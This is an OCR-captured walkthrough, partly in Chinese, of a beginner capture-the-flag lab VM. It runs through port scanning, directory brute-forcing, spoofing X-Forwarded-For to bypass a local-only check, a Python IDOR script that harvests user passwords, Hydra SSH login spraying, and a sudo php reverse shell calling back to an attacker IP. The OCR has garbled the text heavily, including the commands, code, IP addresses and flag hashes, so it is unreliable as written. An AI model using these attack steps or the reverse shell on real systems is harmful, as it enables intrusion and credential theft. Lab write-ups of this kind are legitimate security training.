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Difficulty Level Beginner

Notes there are 2 flag files

Learning Web Application | Enumeration | Privilege Escalation

Description This VM tells us that there are a couple of lovers namely Alice and Bob, where the

couple was originally very romantic, but since Alice worked at a private company,
"Ceban Corp", something has changed from Alice's attitude towards Bob like
something is "hidden", And Bob asks for your help to get what Alice is hiding and

get full access to the company!
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3.1.1 nmap 3#

nmap -p- -A -0 192.168.0.172 -0A girlfriend1-prots

: # nmap -p- -A 192.168.0.172 -oA girlfriendl-prots
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-81 23:40 AKST
Nmap scan report for www.hackNos.com (192.168.0.172)
Host is up (©.8033s latency).
Not shown: 65533 closed ports
PORT  STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
ssh-hostkey:

1024 57:e1:56:58:46:04:33:56:3d:c3:4b:a7:93:ee:23:16 (DSA)

2048 3b:26:4d:e4:a@:3b:fB:75:d9:6e:15:55:82:8c:71:97 (RSA)

256 B8f:48:97:9b:55:11:5b:f1:6c:1d:b3:4a:bc:36:bd:b@ (ECDSA)
_ 256 dP:c3:82:al:c4:c2:a8:ac:3b:84:ae:8f:e5:79:66:76 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
_http-server-header: Apache/2.4.7 (Ubuntu)
_http-title: Site doesn't have a title (text/html).
AC Address: &4@:A5:EF:46:69:0A (Shenzhen Four Seas Global Link Network Technology)
Device type: general purpose

ing: Linux 3.X|4.X

: cpe:/o:linux:1linux_kernel:3 cpe:/o:1linux:linux_kernel:4

0S details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel
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gobuster dir -u http://192.168.0.172 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100



-w fusr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100

Gob v3.
by 0] Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)

[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204 ,301,302,307,401,403

[+] User Agent: gobuster/3.0.1

[+]

/misc
Jconfig (
/serve

Index of [config

C @

Kali Linux Kali Training Kali Tools @ Kali Docs Kali Forums

Index of /config

Name Last modified Size Description

ﬁ Parent Directory i
[?] config.php 2019-12-1313:24 88

Apache/2.4.7 (Ubuntu) Server at 192.168.0.172 Port 80
H& vl LLj A 74E config.php 3CF.
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& c @ (D 192.168.0.172

Kali Linux Kali Training Kali Tools @ Kali Docs Kali Forums

NetH

Who are you? Hacker? Sorry This Site Can Only Be Accessed local!
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192.168.0.172/ o Py

 192.168.0.172

g Kali Tools @ Kali Docs Kali Forums NetHunter @ Offensive Security Exploit- (NN [

Sorry This Site Can Only Be Accessed local! 127.0.0.1

Recently used IPs:
¢ 127.0.0.1

Send the following headers:
¥ X-Forwarded-For
X-Originating-1P
X-Remote-IP
*-Remote-Addr

(i 192.168.0.172

Kali Tools @ Kali Docs kali Forums NetHunter @ Offensive Security Exploit

Welcome To Ceban Corp

Inspiring The People To Great Again!

Home | Login | Register | About
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Kali Linux Kali Training Kali Tools @ Kali Docs Kali Forums NetHunter @& Offensive Security

Welcome To Ceban Corp

Inspiring The People To Great Again!

Dashboard | Profile | Logout

Name moonsec

Email moon@moonsec.com
Username moonsec
Password eesess

Login

BEMNNEE http://192.168.0.172/?page=profile&user id=14 kI 7] LA FH %Y
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Kali Linux Kali Training Kali Tools & Kali Docs Kali Forums NetHunter @ Offensive Secu

Welcome To Ceban Corp

Inspiring The People To Great Again!

Dashboard | Profile | Logout

Name moonsec
Username moonsec

Password eeessse

Ow {3 Inspector [ Console [ Debugger {3} StyleEditor () Performance Tk Memory ) Network [J Storage
= i 4

L* §
<br=
=label for="username"=Username=/label>

=ipput id="username" type="text" name="username" value="moonsec"=
<br=
<label for="password"=Password</label>

<input id="password" type="password" name="password" wvalue="123456">

=hr=

id 2o Akl i 1
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Kali Linux Kali Training Kali Tools @ Kali Docs Kali Forums NetHunter @ Offensive Security Exploit-DB

Welcome To Ceban Corp

Inspiring The People To Great Again!

Dashboard | Profile | Logout

Name Eweuh Tandingan
Username eweuhtandingan
Password eeesessses

Ow {3 Inspector [) Console [ Debugger {} StyleEditor (Y Performance  {F Memory P Metwork E Storage 'i' Accessibility
Q, Search HT

+ A Vrltersyi E
<input id="username" type="text" name="username" value="eweuhtandingan"= inl w
<br= element L}
<label for="password"=Password</label> }

v
<ipput id="password" type="password" name="password" value="skuyatuh">
<hr=
<button disabled="disabled"=Change</button=
=fform= v
=fbody>

HIRTEREN id=1 FH 7 FO K 5 A

3.5 435 PYTHON 4

#coding:utf-8
import requests
import re

def GetUserInfo(id):

headers =  {'user-agent:'Mozilla/5.0 (X11; Linux x86 64; 1v:68.0) Gecko/20100101
Firefox/68.0',’X-Forwarded-For':'127.0.0.1'}

cookie = {'PHPSESSID"'"7t50201doao7hv880juplpll7'}

r = requests.get(url="http://192.168.0.172/index.php?page=profile&user_id=%s" %
id,headers=headers,cookies=cookie).text

name=re.search('id="name\"\svalue="(.*?)">"r).group(1)
username=re.search('username\"\svalue="(.*?)"r).group(1)
password=re.search('password\"\svalue="(.*?)""r).group(1)
return name,username,password

for i in range(0,15):

name,username,password=(GetUserInfo(str(i)))



if name:

print (username+":"-+password)

BATHARAFRH 7

# python3 getuserinfo.py

eweuhtandingan:skuyatuh
aingmaung:gqwerty!!!
sundatea:indONEsia
sedihaingmah:cedihhihihi
dlice:411c3
abdikasepak:dorrrrr
MoOONSEec :moonsec
moonsec ' :123456
moonsec:123456

3.7 hydra 552 ssh

S BORAE Tk P hydra JFRf ssh
hydra -C userinfo ssh://192.168.0.172

# hydra —C userinfo ssh: //192 168 0.172
Hydra v9. 0 (c) 20819 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-01-02 00:85:00
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t &
[DATA] max 9 tasks per 1 server, overall 9 tasks, 9 login tries, ~1 try per task
[DATA] attacking sh /192. 0.172:22/
[22][ssh] host: 8.1 login password: &lic3
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.cnm‘vanhauserAthc/thc-hydra) finished at 2020-01-02 00:05:03
: #

KIAEEH 7 alice %05 4lic3

3.8 &3x ssh

# ssh aliceq192.168.08.172
ahce"}l?Z 168.0.172"'s password:

Last login: Thu Jan 2 15:19:82 2020 from 192.168.0.164
aliceagfrienp:~$ fi

3.9 5% flagl.txt



alicepgfriEND:~$ 1s -al

total 36

drwxr-xr-x alice alice 40896 Jan

drwxr-xr-x root root 4096 Dec
alice alice 565 Jan : .bash_history
alice alice 228 Dec - .bash_logout
alice alice 3637 Dec - .bashrc
alice alice 4096 Dec

drwxrwxr-x alice alice 4096 Dec

-I'W-r—r— alice alice 675 Dec - .profile
alice alice 1494 Jan - viminfo

aliceggfriEND:~$ cd .my_secret/

alicefgfriEND:~/.my_secret$ 1s -al

total 16

drwxrwxr-x alice alice 4896 Dec 13

drwxr-xr-x alice alice 4896 Jan 2

-rw-r—r— 1 root root 306 Dec 13 13:
alice alice 119 Dec 13 - my_notes.txt

T ——— — .
alicedgfriEND:~/.my_secret$ cat flagl.txt

Greattttt my brother! You saw the Alice's note! Now you save the record information to give to bob! I know if it's given to him then Bob will be hurt but t
his is better than Bob cheated!

Now your last job is get access to the root and read the flag *_*

Flag 1 : gfriEND{2f5f21b2af1b8c3e227bcf3554478f09}
aliceagfriEND:~/.my_secret$

X AR IR AT 4k B3R B root 1Y flag

3.10 RBUEF

3.10.1 EEHBIRR

sudo -1

aliCEég%riEND:~f.my"secret$ sudo -1
Matching Defaults entries for alice on gfriEND:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User alice may run the following commands on gfriEND:
(root) NOPASSWD: /usr/bin/php
alice@gfriEND:~/.my_secret$

I php AN LR APAT A

3.10.2 php X3 shell

nc -lnvp 9001
sudo php -r '$sock=fsockopen("192.168.0.164",9001);exec("/bin/bash -i <&3 >&3 2>&3");'



alice@gfriEND: ~/.my_secret

aliceqgfriEND:~/.my_secret$ sudo php -r '$sock=fsockopen("192.168.0.164",9001);exec("/bin/bash -i <&3 >83 2>83");"

X # nc -lvnp 9001

listening on [any] 9001 ...

connect to [192.168.0.164] from (UNKNOWN) [192.168.8.172] 51298
root@gfriEND:~/.my_secret# []

3.10.3 783 root THJ flagl.txt

root@gfriEND:~/.my_secret# cat flagl.txt

cat flagl.txt

Greattttt my brother! You saw the Alice's note! Now you save the record information to give to bob! I know if it's given to him then Bob will be hurt but t
his is better than Bob cheated!

Now your last job is get access to the root and read the flag *_*

Flag 1 : gfriEND{2f5f21b2af1b8c3e227bcf35544F8F09}
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